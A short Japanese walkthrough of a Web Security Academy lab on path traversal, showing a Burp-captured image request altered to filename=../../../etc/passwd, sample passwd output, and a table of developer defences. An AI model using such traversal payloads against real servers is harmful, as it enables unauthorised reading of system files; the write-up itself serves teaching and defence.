Hello there, ('ω')ノ
🎯 ラボの目的
このラボでは、商品画像表示機能にパストラバーサル脆弱性が存在します。 攻撃者は画像ファイルのパス指定を改ざんすることで、 サーバー上の任意ファイルを読み取ることができます。
目標は /etc/passwd を取得し提出することです。
✅ 攻略手順
1️⃣ 商品画像取得リクエストをBurpでキャプチャ
例:
GET /loadImage?filename=218.png HTTP/1.1 Host: <LAB-ID>.web-security-academy.net
2️⃣ パラメータを改ざん
filename=218.png → filename=../../../etc/passwd に変更
GET /loadImage?filename=../../../etc/passwd HTTP/1.1 Host: <LAB-ID>.web-security-academy.net
3️⃣ リクエスト送信
- Repeater で Send ボタンを押す
レスポンス内に Linuxサーバーのユーザー情報ファイル
/etc/passwdが含まれる- 例:
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin ...
4️⃣ 解答提出
- 抜き出した
/etc/passwdの内容をラボ画面の Submit solution ボタンから提出 - ラボクリア🎉
✅ この攻撃の本質ポイント
| 攻撃条件 | 説明 |
|---|---|
ユーザー入力 filename をファイルパスとして直接使用 |
../ により意図しないディレクトリ移動が可能 |
サーバー側で ../ を除去・正規化していない |
パストラバーサル成立 |
| 相対パス指定が許可されている | ../../../etc/passwd でrootまで移動可能 |
✅ 開発者向け防御策
| 防御策 | 説明 |
|---|---|
| 絶対パスのチェック | realpath()で /var/www/images/ 配下であることを確認 |
| 入力値検証 | ../ や %2e%2e%2f をすべて除去 |
| ファイルIDやハッシュに変換 | 直接ファイル名をユーザー入力から取得しない |
✅ まとめ
「ファイルパスに外部からの値を直接渡す」 この構造が最大の盲点です。
- たった1行のURL改ざんでサーバーファイル読み取りが成立
- 実際の脆弱なサイトでも 非常に多く報告される超基本かつ危険な攻撃です
Best regards, (^^ゞ